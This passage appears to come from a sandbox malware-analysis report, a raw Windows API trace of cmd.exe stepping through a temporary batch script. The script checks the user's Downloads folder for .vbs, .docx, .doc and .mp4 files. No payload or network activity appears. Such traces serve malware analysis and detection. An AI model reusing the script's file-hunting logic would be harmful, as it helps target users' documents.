[0039.998] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.998] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.998] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.998] SetFilePointer (in: hFile=0x74, lDistanceToMove=2028, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7ec [0039.998] GetProcessHeap () returned 0x4e0000 [0039.998] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0039.998] GetProcessHeap () returned 0x4e0000 [0039.998] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0039.998] GetProcessHeap () returned 0x4e0000 [0039.998] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2760 | out: hHeap=0x4e0000) returned 1 [0039.998] GetProcessHeap () returned 0x4e0000 [0039.998] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0039.999] GetProcessHeap () returned 0x4e0000 [0039.999] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0039.999] GetProcessHeap () returned 0x4e0000 [0039.999] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0039.999] GetProcessHeap () returned 0x4e0000 [0039.999] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2700 | out: hHeap=0x4e0000) returned 1 [0039.999] GetProcessHeap () returned 0x4e0000 [0039.999] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0039.999] GetProcessHeap () returned 0x4e0000 [0039.999] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0039.999] GetProcessHeap () returned 0x4e0000 [0039.999] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f57b0 | out: hHeap=0x4e0000) returned 1 [0039.999] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.999] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x7ec [0039.999] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1e41, lpOverlapped=0x0) returned 1 [0039.999] SetFilePointer (in: hFile=0x74, lDistanceToMove=2030, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7ee [0039.999] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.vbs goto vbs\r\nan\r\n") returned 2 [0039.999] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.999] GetFileType (hFile=0x74) returned 0x1 [0039.999] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.999] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x7ee [0040.000] GetProcessHeap () returned 0x4e0000 [0040.000] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0040.000] GetProcessHeap () returned 0x4e0000 [0040.000] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0040.000] _tell (_FileHandle=3) returned 2030 [0040.000] _close (_FileHandle=3) returned 0 [0040.000] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0040.000] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0040.000] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.000] SetFilePointer (in: hFile=0x74, lDistanceToMove=2030, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7ee [0040.000] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.000] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x7ee [0040.000] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1e3f, lpOverlapped=0x0) returned 1 [0040.001] SetFilePointer (in: hFile=0x74, lDistanceToMove=2057, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x809 [0040.001] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.docx goto docx\r\n\r\n") returned 27 [0040.001] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.001] GetFileType (hFile=0x74) returned 0x1 [0040.001] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.001] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x809 [0040.001] GetProcessHeap () returned 0x4e0000 [0040.001] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0040.001] GetProcessHeap () returned 0x4e0000 [0040.001] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0040.002] _tell (_FileHandle=3) returned 2057 [0040.002] _close (_FileHandle=3) returned 0 [0040.002] GetFullPathNameW (in: lpFileName="*.docx", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*.docx", lpFilePart=0x41eea8*="*.docx") returned 0x2e [0040.002] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0040.003] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*.docx", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0040.003] GetLastError () returned 0x2 [0040.003] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0040.003] GetLastError () returned 0x6 [0040.003] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.003] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0040.003] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.003] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0040.003] _get_osfhandle (_FileHandle=0) returned 0x3 [0040.003] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0040.004] SetConsoleInputExeNameW () returned 0x1 [0040.004] GetConsoleOutputCP () returned 0x1b5 [0040.004] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0040.004] SetThreadUILanguage (LangId=0x0) returned 0x409 [0040.004] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0040.004] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0040.004] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.004] SetFilePointer (in: hFile=0x74, lDistanceToMove=2057, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x809 [0040.004] GetProcessHeap () returned 0x4e0000 [0040.004] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0040.004] GetProcessHeap () returned 0x4e0000 [0040.005] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0040.005] GetProcessHeap () returned 0x4e0000 [0040.005] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2760 | out: hHeap=0x4e0000) returned 1 [0040.005] GetProcessHeap () returned 0x4e0000 [0040.005] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0040.005] GetProcessHeap () returned 0x4e0000 [0040.005] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0040.005] GetProcessHeap () returned 0x4e0000 [0040.005] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0040.005] GetProcessHeap () returned 0x4e0000 [0040.005] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2700 | out: hHeap=0x4e0000) returned 1 [0040.005] GetProcessHeap () returned 0x4e0000 [0040.005] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0040.005] GetProcessHeap () returned 0x4e0000 [0040.005] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0040.005] GetProcessHeap () returned 0x4e0000 [0040.005] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f57b0 | out: hHeap=0x4e0000) returned 1 [0040.005] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.005] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x809 [0040.005] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1e24, lpOverlapped=0x0) returned 1 [0040.005] SetFilePointer (in: hFile=0x74, lDistanceToMove=2059, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x80b [0040.005] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.docx goto docx\r\n\r\n") returned 2 [0040.005] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.006] GetFileType (hFile=0x74) returned 0x1 [0040.006] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.006] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x80b [0040.006] GetProcessHeap () returned 0x4e0000 [0040.006] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0040.006] GetProcessHeap () returned 0x4e0000 [0040.006] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0040.006] _tell (_FileHandle=3) returned 2059 [0040.006] _close (_FileHandle=3) returned 0 [0040.006] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0040.006] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0040.006] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.006] SetFilePointer (in: hFile=0x74, lDistanceToMove=2059, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x80b [0040.006] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.006] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x80b [0040.007] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1e22, lpOverlapped=0x0) returned 1 [0040.007] SetFilePointer (in: hFile=0x74, lDistanceToMove=2084, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x824 [0040.007] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.doc goto doc\r\n\r\n\r\n") returned 25 [0040.007] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.007] GetFileType (hFile=0x74) returned 0x1 [0040.007] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.007] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x824 [0040.007] GetProcessHeap () returned 0x4e0000 [0040.007] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0040.007] GetProcessHeap () returned 0x4e0000 [0040.007] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0040.008] _tell (_FileHandle=3) returned 2084 [0040.008] _close (_FileHandle=3) returned 0 [0040.008] GetFullPathNameW (in: lpFileName="*.doc", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*.doc", lpFilePart=0x41eea8*="*.doc") returned 0x2d [0040.008] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0040.008] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*.doc", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0040.009] GetLastError () returned 0x2 [0040.009] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0040.009] GetLastError () returned 0x6 [0040.009] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.009] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0040.009] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.009] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0040.009] _get_osfhandle (_FileHandle=0) returned 0x3 [0040.009] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0040.009] SetConsoleInputExeNameW () returned 0x1 [0040.010] GetConsoleOutputCP () returned 0x1b5 [0040.010] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0040.010] SetThreadUILanguage (LangId=0x0) returned 0x409 [0040.010] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0040.010] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0040.010] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.010] SetFilePointer (in: hFile=0x74, lDistanceToMove=2084, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x824 [0040.010] GetProcessHeap () returned 0x4e0000 [0040.010] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0040.010] GetProcessHeap () returned 0x4e0000 [0040.010] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0040.010] GetProcessHeap () returned 0x4e0000 [0040.010] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2760 | out: hHeap=0x4e0000) returned 1 [0040.010] GetProcessHeap () returned 0x4e0000 [0040.010] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0040.010] GetProcessHeap () returned 0x4e0000 [0040.010] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0040.010] GetProcessHeap () returned 0x4e0000 [0040.010] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0040.011] GetProcessHeap () returned 0x4e0000 [0040.011] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2700 | out: hHeap=0x4e0000) returned 1 [0040.011] GetProcessHeap () returned 0x4e0000 [0040.011] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0040.011] GetProcessHeap () returned 0x4e0000 [0040.011] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0040.011] GetProcessHeap () returned 0x4e0000 [0040.011] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f57b0 | out: hHeap=0x4e0000) returned 1 [0040.011] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.011] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x824 [0040.011] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1e09, lpOverlapped=0x0) returned 1 [0040.011] SetFilePointer (in: hFile=0x74, lDistanceToMove=2086, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x826 [0040.011] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.doc goto doc\r\n\r\n\r\n") returned 2 [0040.011] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.011] GetFileType (hFile=0x74) returned 0x1 [0040.011] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.011] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x826 [0040.011] GetProcessHeap () returned 0x4e0000 [0040.011] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0040.011] GetProcessHeap () returned 0x4e0000 [0040.011] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0040.012] _tell (_FileHandle=3) returned 2086 [0040.012] _close (_FileHandle=3) returned 0 [0040.012] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0040.012] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0040.012] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.012] SetFilePointer (in: hFile=0x74, lDistanceToMove=2086, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x826 [0040.012] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.012] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x826 [0040.012] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1e07, lpOverlapped=0x0) returned 1 [0040.012] SetFilePointer (in: hFile=0x74, lDistanceToMove=2111, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x83f [0040.012] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.mp4 goto mp4\r\n\r\n\r\n") returned 25 [0040.012] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.012] GetFileType (hFile=0x74) returned 0x1 [0040.013] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.013] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x83f [0040.013] GetProcessHeap () returned 0x4e0000 [0040.013] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0040.013] GetProcessHeap () returned 0x4e0000 [0040.013] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0040.014] _tell (_FileHandle=3) returned 2111 [0040.014] _close (_FileHandle=3) returned 0 [0040.014] GetFullPathNameW (in: lpFileName="*.mp4", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*.mp4", lpFilePart=0x41eea8*="*.mp4") returned 0x2d [0040.014] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0040.014] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*.mp4", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0040.014] GetLastError () returned 0x2 [0040.014] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0040.014] GetLastError () returned 0x6 [0040.014] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.014] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0040.015] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.015] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0040.015] _get_osfhandle (_FileHandle=0) returned 0x3 [0040.015] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0040.016] SetConsoleInputExeNameW () returned 0x1 [0040.016] GetConsoleOutputCP () returned 0x1b5 [0040.016] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0040.016] SetThreadUILanguage (LangId=0x0) returned 0x409 [0040.016] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0040.016] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0040.016] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.016] SetFilePointer (in: hFile=0x74, lDistanceToMove=2111, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x83f [0040.016] GetProcessHeap () returned 0x4e0000 [0040.016] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0040.016] GetProcessHeap () returned 0x4e0000 [0040.017] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0040.017] GetProcessHeap () returned 0x4e0000 [0040.017] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2760 | out: hHeap=0x4e0000) returned 1 [0040.017] GetProcessHeap () returned 0x4e0000 [0040.017] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0040.017] GetProcessHeap () returned 0x4e0000 [0040.017] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0040.017] GetProcessHeap () returned 0x4e0000 [0040.017] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0040.017] GetProcessHeap () returned 0x4e0000 [0040.017] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2700 | out: hHeap=0x4e0000) returned 1 [0040.017] GetProcessHeap () returned 0x4e0000 [0040.017] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0040.017] GetProcessHeap () returned 0x4e0000 [0040.017] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0040.017] GetProcessHeap () returned 0x4e0000 [0040.017] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f57b0 | out: hHeap=0x4e0000) returned 1 [0040.017] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.017] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x83f [0040.017] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1dee, lpOverlapped=0x0) returned 1 [0040.017] SetFilePointer (in: hFile=0x74, lDistanceToMove=2113, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x841 [0040.017] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.mp4 goto mp4\r\n\r\n\r\n") returned 2 [0040.017] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.017] GetFileType (hFile=0x74) returned 0x1 [0040.018] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.018] SetFilePointer (in: hFile=0x74, 